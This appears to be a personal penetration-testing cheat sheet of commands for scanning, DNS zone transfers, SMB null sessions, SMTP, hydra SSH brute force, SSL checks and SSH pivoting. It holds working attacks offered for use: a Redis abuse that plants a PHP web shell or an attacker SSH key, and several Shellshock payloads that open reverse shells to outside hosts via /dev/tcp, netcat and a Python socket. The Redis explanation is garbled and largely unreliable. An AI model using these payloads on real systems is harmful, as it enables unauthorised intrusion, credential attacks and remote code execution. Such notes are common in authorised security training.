Port scanning
TCP Port scanner script I use.
wget https://raw.githubusercontent.com/rowbot1/portscanner/main/portscanner.sh
All TCP Ports:
nmap -Pn -sC -sV -oA all -vv -p- $ip
When you're getting no where with the TCP ports - try UDP ports. Easily forgotten about!
UDP Top 100:
nmap -Pn -sU --top-ports 100 -oA udp -vv $ip
Utilize nmap's scripts
Find script related to a service your interested in, example here is ftp
locate .nse | grep ftp
What does a script do?
nmap --script-help ftp-anon
Uniscan
uniscan -u $ip -qweds
Good nmap command
nmap -T4 -n -sC -sV -p- -oN nmap-versions --script='*vuln*' [ip]
unicornscan + nmap = onetwopunch
Unicornscan supports asynchronous scans, speeding port scans on all 65535 ports. Nmap has powerful features that unicornscan does not have. With onetwopunch, unicornscan is used first to identify open ports, and then those ports are passed to nmap to perform further enumeration.
./onetwopunch.sh -t targets.txt -i tun0 -n '-T4 -n -sC -sV -oN nmap-versions --script=*vuln*'
Vulnerability scanning
NSE scripts that scans for vulnerabilities are at ls -l /usr/share/nmap/scripts/*vuln*
.
nmap -p 80 --script=all $ip - Scan a target using all NSE scripts. May take an hour to complete.
nmap -p 80 --script=*vuln* $ip - Scan a target using all NSE vuln scripts.
nmap -p 80 --script=http*vuln* $ip - Scan a target using all HTTP vulns NSE scripts.
nmap -p 21 --script=ftp-anon $ip/24 - Scan entire network for FTP servers that allow anonymous access.
nmap -p 80 --script=http-vuln-cve2010-2861 $ip/24 - Scan entire network for a directory traversal vulnerability. It can even retrieve admin's password hash.

Zone transfer request
When initialising a zone transfer, the attacker will first need to know the name of the zone which they are targeting and then specify the IP address of the DNS server to perform the zone transfer against.
Below is a zone transfer against an open DNS server. You can use either of the commands below:
dig <target domain> @<dns server> axfr
host -l <target domain> <dns server>
dig @[DNS SERVER HERE] axfr [DOMAIN NAME HERE]
The ‘@’ symbol is used to specify the target DNS server
host -l $ip ns1.$ip
dnsrecon -d $ip -t axfr
Finds nameservers for a given domain
host -t ns $ip| cut -d " " -f 4 #
dnsenum $ip
Nmap zone transfer scan
nmap $ip --script=dns-zone-transfer -p 53
Finds the domain names for a host.
whois $ip
Find the IP and authoritative servers.
nslookup $ip
Finds miss configure DNS entries.
host -t ns $ip

Vulnerable SMB Versions
Vulnerable versions:
Windows NT, 2000, and XP (most SMB1) - VULNERABLE: Null Sessions can be created by default
Windows 2003, and XP SP2 onwards - NOT VULNERABLE: Null Sessions can't be created default
Most Samba (Unix) servers
List of SMB versions and corresponding Windows versions:
SMB1 – Windows 2000, XP and Windows 2003.
SMB2 – Windows Vista SP1 and Windows 2008
SMB2.1 – Windows 7 and Windows 2008 R2
SMB3 – Windows 8 and Windows 2012.

rpcclient
Manually probe a SMB server
rpcclient -U '' $ip
Password:
rpcclient $> srvinfo # operating system version
rpcclient $> netshareenumall # enumerate all shares and its paths
rpcclient $> enumdomusers # enumerate usernames defined on the server
rpcclient $> getdompwinfo # smb password policy configured on the server
Apparently the rpcclient version in OffSec VM does not work well with creating null sessions. A downgrade to samba-4.5.15 is required: https://forums.offensive-security.com/showthread.php?12943-Found-solution-to-enum4linux-rpcclient-problem-NT_STATUS_INVALID_PARAMETER&highlight=NT_STATUS_INVALID_PARAMETER Place the export commands into a script and source it before using rpcclient to use the downgraded version, or place it in bashrc. NOTE, once downgraded, pth-winexe doesn't seem to work.
enum4linux
Wrapper around smb programs like rpcclient
to automate enumerating an SMB server. Produces tons of results when a null session is successful. NOTE: Make sure to downgrade rpcclient before using.

RID
Rid Enum is a RID cycling attack that attempts to enumerate user accounts through null sessions and the SID to RID enum. If you specify a password file, it will automatically attempt to brute force the user accounts when its finished enumerating.
https://tools.kali.org/maintaining-access/ridenum
Null Session
A null SMB session can be used to gather passwords and useful information from SMB 1 by looking in shares that are not password protected for interesting files. Windows NT/2000 XP default settings allow this. Windows 2003/XP SP2 SMB this behaviour is disabled.

Commands https://serversmtp.com/smtp-commands/
HELO
It’s the first SMTP command: is starts the conversation identifying the sender server and is generally followed by its domain name.
EHLO
An alternative command to start the conversation, underlying that the server is using the Extended SMTP protocol.
MAIL FROM
With this SMTP command the operations begin: the sender states the source email address in the “From” field and actually starts the email transfer.
RCPT TO
It identifies the recipient of the email; if there are more than one, the command is simply repeated address by address.
SIZE
This SMTP command informs the remote server about the estimated size (in terms of bytes) of the attached email. It can also be used to report the maximum size of a message to be accepted by the server.
DATA
With the DATA command the email content begins to be transferred; it’s generally followed by a 354 reply code given by the server, giving the permission to start the actual transmission.
VRFY
The server is asked to verify whether a particular email address or username actually exists.
TURN
This command is used to invert roles between the client and the server, without the need to run a new connaction.
AUTH
With the AUTH command, the client authenticates itself to the server, giving its username and password. It’s another layer of security to guarantee a proper transmission.
RSET
It communicates the server that the ongoing email transmission is going to be terminated, though the SMTP conversation won’t be closed (like in the case of QUIT).
EXPN
This SMTP command asks for a confirmation about the identification of a mailing list.
HELP
It’s a client’s request for some information that can be useful for the a successful transfer of the email.
QUIT
It terminates the SMTP conversation.

With list of users:
hydra -v -V -L user.txt -P /usr/share/wordlists/rockyou.txt -t 16 192.168.33.251 ssh
You can use -w to slow down
SSL
Open a connection
openssl s_client -connect $ip:443
Basic SSL ciphers check
nmap --script ssl-enum-ciphers -p 443 $ip
Look for unsafe ciphers such as Triple-DES and Blowfish
Very complete tool for SSL auditing is testssl.sh, finds BEAST, FREAK, POODLE, heart bleed, etc...

Find Logged in users on target.
finger @$ip
if there is no user logged in this will show no username
Check User is existed or not.
finger $username@$ip
The finger command is very useful for checking users on target but it’s painful if brute-forced for a username.
Using Metasploit fo Brute-force target
use auxiliary/scanner/finger/finger_users
set rhosts $ip
set users_file

Redis
Shell
First, the web server on the server broadcasts, including a simple PHP code and create a back door, which will help us to execute commands on the server.
CONFIG SET dir /var/www/html/
CONFIG SET dbfilename shell.php
CONFIG GET dbfilename
1) "dbfilename"
2) "shell.php"
SET cmd "<?php system($_GET['cmd']); ?>"
OK
BGSAVE
which can be accessed using
http://$ip/shell.php?cmd=whoami
www-data
Upload SSH key
Second, file type found in the users home directory because it is our right and remote SSH access with a key instead of using the password used to connect to create key, they may be directly un-encrypted user rights that provide access to the system.
1: ssh-keygen -t rsa
2:
3: (echo -e "\n"; cat id_rsa.pub; echo -e "\n") > auth_key
4:
5: cat auth_key | redis-cli -h hostname -x set crackit
6: redis-cli -h hostname
7:
8: config set dir /root/.ssh/
9: config get dir
10: config set dbfilename "authorized_keys"
11: save
12:
13: config set dir /home/user/.ssh/
14: save
15:
16: config set dir /home/admin/.ssh/
17:
18: ssh user@kevgir -p 1322 -i id_rsa
1 - He has given parameters in line with a 2048-bit RSA key pair is generated. We can give it a password when we log in
3 - The public key of his own and to receive the new line last line auth_key name we are writing a new file. We will upload this file to the target machine via the Redis server.
5 and 6. data from the key input in the standard line that we say we do, and then take the memory contents auth_key entry Redis server.
8, 9, 10, 11 in which the location of the file content to be installed in the line number, which is stated to be added to the bottom of the file. SAVE transactions made by the commands are processed on the server side to make it happen.
13 and 16 lines in the root of the same process that we have done for other users in order to gain access with the privileges they also inside the ssh folder in the main folder authorized_keys are doing the same procedure for writing to file.

Shellshock
The following tool will test it.
git clone https://github.com/nccgroup/shocker; cd shocker; ./shocker.py -H $ip --command "/bin/cat /etc/passwd" -c /cgi-bin/status --verbose; ./shocker.py -H $ip --command "/bin/cat /etc/passwd" -c /cgi-bin/admin.cgi --verbose
You can also:
echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc $ip 80
curl -x TARGETADDRESS -H "User-Agent: () { ignored;};/bin/bash -i >& /dev/tcp/HOSTIP/1234 0>&1" $ip/cgi-bin/status
curl -H "UserAgent: () { :; }; /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.168.49.123\",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'" http://$ip/cgi-bin/test.sh
Shellshock over SSH:
ssh username@$ip '() { :;}; /bin/bash'
Exploit shellshock via curl, use -k switch to force curl to bypass any SSL warnings. Replace the bash command with anything.
curl http://192.168.123.123/path/to/cgi- bin/name_of_vuln_cgi -H "custom:() { ignored; }; /bin/bash -i >& /dev/tcp/[LHOST]/[LPORT] 0>&1 "

Tunneling your traffic through another host
sshuttle -r root@$ip 10.10.10.0/24
Port forwarding
Simplest type of traffic redirection, consists on accepting traffic from one address and port port and redirecting it to another address and port.
It can be useful to bypass address and port based filters. Rinetd is a linux tool to do it.
Local port forwarding
Creates an encrypted tunnel through two machines and have traffic redirected to a final host and port, similar to port forwarding This is useful when you are trying to connect from your machine to a destination using a gateway. The syntax is:
ssh gateway_host -L local_port:remote_host:remote_port
You can later create a SSH session to the local port and have and SSH tunneled to destination:
ssh hop_machine -L 31337:banned_machine:22
ssh -p 31337 localhost
Remote port forwarding
It creates a tunnel from the target machine to your local machine, which allows connecting to an arbitrary port on the target. Useful if the target is in a non-routable network from your local machine. This is useful when you are trying to connect to a host, behind a firewall that blocks incoming connections. This technique works as the previous one, but the connection is started from the gateway. The syntax is:
ssh <gateway> -R <remote port to bind>:<local host>:<local port>
Dynamic Port Forwarding
Allows to create a tunnel from the target to your machine, and have the traffic routed to any host through target. You can configure a local port to forward traffic to multiple destinations passing through a single host. It is similar to local port forwarding but allows multiple destinations. It uses the SOCKS protocol. The syntax is:
ssh -D local_port remote_add
The connection of the previous command is established at port 22 of remote addr.
Pivoting
1. drop 3proxy.exe
2. Set up a config file:
allow *_
internal IP_SAME_NETWORK
external IP_OTHER_NETWORK
socks -p1081
3. Add to /etc/proxychains.conf:
socks4 IP_SAME_NETWORK 1081
4. Scan:
proxychains nmap -sT -Pn IP_OTHER_NETWORK-250 --top-ports=5
Double-pivoting
Pivoting through two different networks:
First, create a dynamic port forwarding through the first network:
ssh -f -N -D 9050 [email protected]
Edit /etc/proxychains.conf and add as default gateway:
socks4 127.0.0.1 9050
Use the proxy to create a second dynamic port forward to the second network:
proxychains ssh -f -N -D 10050 [email protected] -p 22
Edit again /etc/proxychains.conf and add as default gateway:
socks4 127.0.0.1 10050
You can now use proxychains to pivot to the target network:
proxychains nmap -sTV -n -PN 10.1.2.1 -254
